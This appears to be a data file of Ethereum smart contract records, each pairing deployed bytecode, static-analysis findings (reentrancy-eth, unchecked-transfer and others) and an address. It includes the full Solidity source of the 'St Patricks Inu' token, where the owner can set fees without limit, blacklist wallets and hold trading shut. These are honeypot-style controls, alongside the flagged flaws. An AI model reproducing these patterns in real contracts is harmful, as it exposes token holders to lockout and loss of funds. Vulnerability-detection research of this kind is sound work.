ae57fe5b04145b15156128b957fe5b8091505092915050565b60008082848115156128d157fe5b04905080915050929150505600a165627a7a72305820603b9208e83113afdec86ee1cda767691a0cad57d6f326b8d17cdd10a61a74040029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "write-after-write", "impact": "Medium", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 9,455 |
0x8712281010b073b055dc9e5fd57f4b1ef65f7f91
|
/**
https://t.me/stpatricksinuerc
!7~:.
?G#BP5Y?!:.
!P55GGG5Y555J!:.
^PYYYYJY5YYJJYY5YJ!:
:PYYJJJ??7777??JJJYY5Y7^.
:5YYJJ??77!!!!~~!!?JJJJY5YJ!:
.55JJJ??77!!!!~~~~^^~!7JJJJYY5Y7:
.55JJ??77!!!!~~~~~^^^^^^~!7?JYYYY5Y?^
.55JJ??77!!!~~~~~^^^^^^^^^^^^~!?JYYYY55?^
.5YJJ??77!!!~~~~^^^^^^^^^^^^^^^^^~!?JYYY5557:
:5YJ??77!!!!~~~~^^^^^^^^^:::::^^^^^^^~7JY55555Y~.
:5YJ??77!!!~~~~^^^^^^^^:::::::::^^^^^~~~!!?YPGGGP5!
~5J??777!!!~~~~^^^^^^^:::::::::::^^^^^~~!!77?JY5PGGP:
!5J??77!!!!~~~^^^^^^^:::::::::::^^^^^^~~!!7?JYYYY5Y!.
?5J?777!!!~~~~^^^^^^::::::::::::^^^^^^~~!!7?JYYY5Y!.
.YY?777!!!!~~~~^^^^^^::::::::::::^^^^^~~~!7?JJYY5Y7.
:?J7~. ^5J?77!!!!~~~~^^^^^^:::::::::::::^^^^^~~~!7?JYYYY7.
:YYP555Y7: .!?Y?77!!!!~~~~~^^^^^^:::::::::::::^^^^^~~!7?JJYYY?:
^7?55JYY5Y7: :~:~777!!!~~~~~^^^^^^::::::::::::::^^^^^~~!7?JJYYJ^
:7?5PYJJJYYY!: ~^....^!!!~~~^^^^^^^^::::::::::::::^^^^^~~!7?JJYJ!.
.!?YG5JJJJJYYJ!. .~:..... .:^^!J?~^:^^^:::::::::::::^^^^~~!7??JJY7.
^77YG5JJJJJJYY?^~:...... !PJ7?J7~:::::::::::::^^^^^~~!7?JJYJ^
.~775G5J?JJ??~........ 7Y. .^75?~:::::::::^^^^^~~!7?JJJ7.
.~7?PG5J???!...... .Y? .~J!7?!^::::^^^^^~~77?JJ?^
.!?J5GPJ??7^. ^5~ .~J5?^^^^^^~!!7??J7.
.!??YPP5J?!^. 7Y. ^GJ^^^^^~!!7???~
.~??J5PPY?7^..J5. ~5^ ..:^~!777?7:
:7??J5P5Y?~~~~^. .?J. .:~!!!^
.^!!7J5P5J!::^^^:. :Y! ........
.^~~!?5P5J!:::^^:.. ~Y^ ........
.:^~!J5P5J7^::^~~?J. ....:...
.:~!!?Y55Y?!~!~. .......
.:^~~!?Y55YJ?!~^:.......:7!:.
.:^~~!7JYYYJJ?7!~~~7?JJYY?!:.
.:^^~~!7??JJYJJJ????JJYYY?!:
..:^~~~~!?JYYYYJJJJJJJYYY?~.
.:::::^~!7?YYY5YYYYYYY5Y7.
.....::^^!7?JY55555PG^
....::^~7J5PY.
..
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract StPatricksInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "St Patricks Inu";
string private constant _symbol = "STINU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 13;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 13;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xD2C53455EC496b5EAB041C37706acEDA601F00D2);
address payable private _marketingAddress = payable(0xD2C53455EC496b5EAB041C37706acEDA601F00D2);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 100000000000000000000 * 10**9;
uint256 public _maxWalletSize = 25000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461055b578063dd62ed3e1461057b578063ea1644d5146105c1578063f2fde38b146105e157600080fd5b8063a2a957bb146104d6578063a9059cbb146104f6578063bfd7928414610516578063c3c8cd801461054657600080fd5b80638f70ccf7116100d15780638f70ccf7146104525780638f9a55c01461047257806395d89b411461048857806398a5c315146104b657600080fd5b80637d1db4a5146103f15780637f2feddc146104075780638da5cb5b1461043457600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038757806370a082311461039c578063715018a6146103bc57806374010ece146103d157600080fd5b8063313ce5671461030b57806349bd5a5e146103275780636b999053146103475780636d8aa8f81461036757600080fd5b80631694505e116101ab5780631694505e1461027857806318160ddd146102b057806323b872dd146102d55780632fd689e3146102f557600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024857600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611965565b610601565b005b34801561020a57600080fd5b5060408051808201909152600f81526e5374205061747269636b7320496e7560881b60208201525b60405161023f9190611a2a565b60405180910390f35b34801561025457600080fd5b50610268610263366004611a7f565b6106a0565b604051901515815260200161023f565b34801561028457600080fd5b50601454610298906001600160a01b031681565b6040516001600160a01b03909116815260200161023f565b3480156102bc57600080fd5b50670de0b6b3a76400005b60405190815260200161023f565b3480156102e157600080fd5b506102686102f0366004611aab565b6106b7565b34801561030157600080fd5b506102c760185481565b34801561031757600080fd5b506040516009815260200161023f565b34801561033357600080fd5b50601554610298906001600160a01b031681565b34801561035357600080fd5b506101fc610362366004611aec565b610720565b34801561037357600080fd5b506101fc610382366004611b19565b61076b565b34801561039357600080fd5b506101fc6107b3565b3480156103a857600080fd5b506102c76103b7366004611aec565b6107fe565b3480156103c857600080fd5b506101fc610820565b3480156103dd57600080fd5b506101fc6103ec366004611b34565b610894565b3480156103fd57600080fd5b506102c760165481565b34801561041357600080fd5b506102c7610422366004611aec565b60116020526000908152604090205481565b34801561044057600080fd5b506000546001600160a01b0316610298565b34801561045e57600080fd5b506101fc61046d366004611b19565b6108c3565b34801561047e57600080fd5b506102c760175481565b34801561049457600080fd5b506040805180820190915260058152645354494e5560d81b6020820152610232565b3480156104c257600080fd5b506101fc6104d1366004611b34565b61090b565b3480156104e257600080fd5b506101fc6104f1366004611b4d565b61093a565b34801561050257600080fd5b50610268610511366004611a7f565b610978565b34801561052257600080fd5b50610268610531366004611aec565b60106020526000908152604090205460ff1681565b34801561055257600080fd5b506101fc610985565b34801561056757600080fd5b506101fc610576366004611b7f565b6109d9565b34801561058757600080fd5b506102c7610596366004611c03565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105cd57600080fd5b506101fc6105dc366004611b34565b610a7a565b3480156105ed57600080fd5b506101fc6105fc366004611aec565b610aa9565b6000546001600160a01b031633146106345760405162461bcd60e51b815260040161062b90611c3c565b60405180910390fd5b60005b815181101561069c5760016010600084848151811061065857610658611c71565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069481611c9d565b915050610637565b5050565b60006106ad338484610b93565b5060015b92915050565b60006106c4848484610cb7565b610716843361071185604051806060016040528060288152602001611db7602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f3565b610b93565b5060019392505050565b6000546001600160a01b0316331461074a5760405162461bcd60e51b815260040161062b90611c3c565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107955760405162461bcd60e51b815260040161062b90611c3c565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e857506013546001600160a01b0316336001600160a01b0316145b6107f157600080fd5b476107fb8161122d565b50565b6001600160a01b0381166000908152600260205260408120546106b190611267565b6000546001600160a01b0316331461084a5760405162461bcd60e51b815260040161062b90611c3c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108be5760405162461bcd60e51b815260040161062b90611c3c565b601655565b6000546001600160a01b031633146108ed5760405162461bcd60e51b815260040161062b90611c3c565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109355760405162461bcd60e51b815260040161062b90611c3c565b601855565b6000546001600160a01b031633146109645760405162461bcd60e51b815260040161062b90611c3c565b600893909355600a91909155600955600b55565b60006106ad338484610cb7565b6012546001600160a01b0316336001600160a01b031614806109ba57506013546001600160a01b0316336001600160a01b0316145b6109c357600080fd5b60006109ce306107fe565b90506107fb816112eb565b6000546001600160a01b03163314610a035760405162461bcd60e51b815260040161062b90611c3c565b60005b82811015610a74578160056000868685818110610a2557610a25611c71565b9050602002016020810190610a3a9190611aec565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6c81611c9d565b915050610a06565b50505050565b6000546001600160a01b03163314610aa45760405162461bcd60e51b815260040161062b90611c3c565b601755565b6000546001600160a01b03163314610ad35760405162461bcd60e51b815260040161062b90611c3c565b6001600160a01b038116610b385760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062b565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062b565b6001600160a01b038216610c565760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d1b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062b565b6001600160a01b038216610d7d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062b565b60008111610ddf5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062b565b6000546001600160a01b03848116911614801590610e0b57506000546001600160a01b03838116911614155b156110ec57601554600160a01b900460ff16610ea4576000546001600160a01b03848116911614610ea45760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161062b565b601654811115610ef65760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062b565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3857506001600160a01b03821660009081526010602052604090205460ff16155b610f905760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062b565b6015546001600160a01b038381169116146110155760175481610fb2846107fe565b610fbc9190611cb8565b106110155760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062b565b6000611020306107fe565b6018546016549192508210159082106110395760165491505b8080156110505750601554600160a81b900460ff16155b801561106a57506015546001600160a01b03868116911614155b801561107f5750601554600160b01b900460ff165b80156110a457506001600160a01b03851660009081526005602052604090205460ff16155b80156110c957506001600160a01b03841660009081526005602052604090205460ff16155b156110e9576110d7826112eb565b4780156110e7576110e74761122d565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112e57506001600160a01b03831660009081526005602052604090205460ff165b8061116057506015546001600160a01b0385811691161480159061116057506015546001600160a01b03848116911614155b1561116d575060006111e7565b6015546001600160a01b03858116911614801561119857506014546001600160a01b03848116911614155b156111aa57600854600c55600954600d555b6015546001600160a01b0384811691161480156111d557506014546001600160a01b03858116911614155b156111e757600a54600c55600b54600d555b610a7484848484611474565b600081848411156112175760405162461bcd60e51b815260040161062b9190611a2a565b5060006112248486611cd0565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069c573d6000803e3d6000fd5b60006006548211156112ce5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062b565b60006112d86114a2565b90506112e483826114c5565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133357611333611c71565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138757600080fd5b505afa15801561139b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bf9190611ce7565b816001815181106113d2576113d2611c71565b6001600160a01b0392831660209182029290920101526014546113f89130911684610b93565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611431908590600090869030904290600401611d04565b600060405180830381600087803b15801561144b57600080fd5b505af115801561145f573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061148157611481611507565b61148c848484611535565b80610a7457610a74600e54600c55600f54600d55565b60008060006114af61162c565b90925090506114be82826114c5565b9250505090565b60006112e483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061166c565b600c541580156115175750600d54155b1561151e57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806115478761169a565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157990876116f7565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a89086611739565b6001600160a01b0389166000908152600260205260409020556115ca81611798565b6115d484836117e2565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161991815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164782826114c5565b82101561166357505060065492670de0b6b3a764000092509050565b90939092509050565b6000818361168d5760405162461bcd60e51b815260040161062b9190611a2a565b5060006112248486611d75565b60008060008060008060008060006116b78a600c54600d54611806565b92509250925060006116c76114a2565b905060008060006116da8e87878761185b565b919e509c509a509598509396509194505050505091939550919395565b60006112e483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f3565b6000806117468385611cb8565b9050838110156112e45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062b565b60006117a26114a2565b905060006117b083836118ab565b306000908152600260205260409020549091506117cd9082611739565b30600090815260026020526040902055505050565b6006546117ef90836116f7565b6006556007546117ff9082611739565b6007555050565b6000808080611820606461181a89896118ab565b906114c5565b90506000611833606461181a8a896118ab565b9050600061184b826118458b866116f7565b906116f7565b9992985090965090945050505050565b600080808061186a88866118ab565b9050600061187888876118ab565b9050600061188688886118ab565b905060006118988261184586866116f7565b939b939a50919850919650505050505050565b6000826118ba575060006106b1565b60006118c68385611d97565b9050826118d38583611d75565b146112e45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062b565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fb57600080fd5b803561196081611940565b919050565b6000602080838503121561197857600080fd5b823567ffffffffffffffff8082111561199057600080fd5b818501915085601f8301126119a457600080fd5b8135818111156119b6576119b661192a565b8060051b604051601f19603f830116810181811085821117156119db576119db61192a565b6040529182528482019250838101850191888311156119f957600080fd5b938501935b82851015611a1e57611a0f85611955565b845293850193928501926119fe565b98975050505050505050565b600060208083528351808285015260005b81811015611a5757858101830151858201604001528201611a3b565b81811115611a69576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9257600080fd5b8235611a9d81611940565b946020939093013593505050565b600080600060608486031215611ac057600080fd5b8335611acb81611940565b92506020840135611adb81611940565b929592945050506040919091013590565b600060208284031215611afe57600080fd5b81356112e481611940565b8035801515811461196057600080fd5b600060208284031215611b2b57600080fd5b6112e482611b09565b600060208284031215611b4657600080fd5b5035919050565b60008060008060808587031215611b6357600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9457600080fd5b833567ffffffffffffffff80821115611bac57600080fd5b818601915086601f830112611bc057600080fd5b813581811115611bcf57600080fd5b8760208260051b8501011115611be457600080fd5b602092830195509350611bfa9186019050611b09565b90509250925092565b60008060408385031215611c1657600080fd5b8235611c2181611940565b91506020830135611c3181611940565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cb157611cb1611c87565b5060010190565b60008219821115611ccb57611ccb611c87565b500190565b600082821015611ce257611ce2611c87565b500390565b600060208284031215611cf957600080fd5b81516112e481611940565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d545784516001600160a01b031683529383019391830191600101611d2f565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9257634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611db157611db1611c87565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122056b9b0d6a3f06391a807d5405013141b5ce54234a01e5401aaedc2164a2102a064736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 9,456 |
0x1385b25e54db7a1cad15e86abf002571b62bb4cc
|
/**
*Submitted for verification at Etherscan.io on 2021-06-17
*/
//Don't Buy Token ($DontBuy)
//Telegram: https://t.me/DontBuyToken
//don't buy this token
//Website: duh...
/*
.-'''-.
_______ ' _ \
\ ___ `'. / /` '. \ _..._ ,.--. /|
' |--.\ \ . | \ ' .' '. // \ || .-. .-
| | \ ' | ' | '. .-. .\\ | .| || \ \ / /
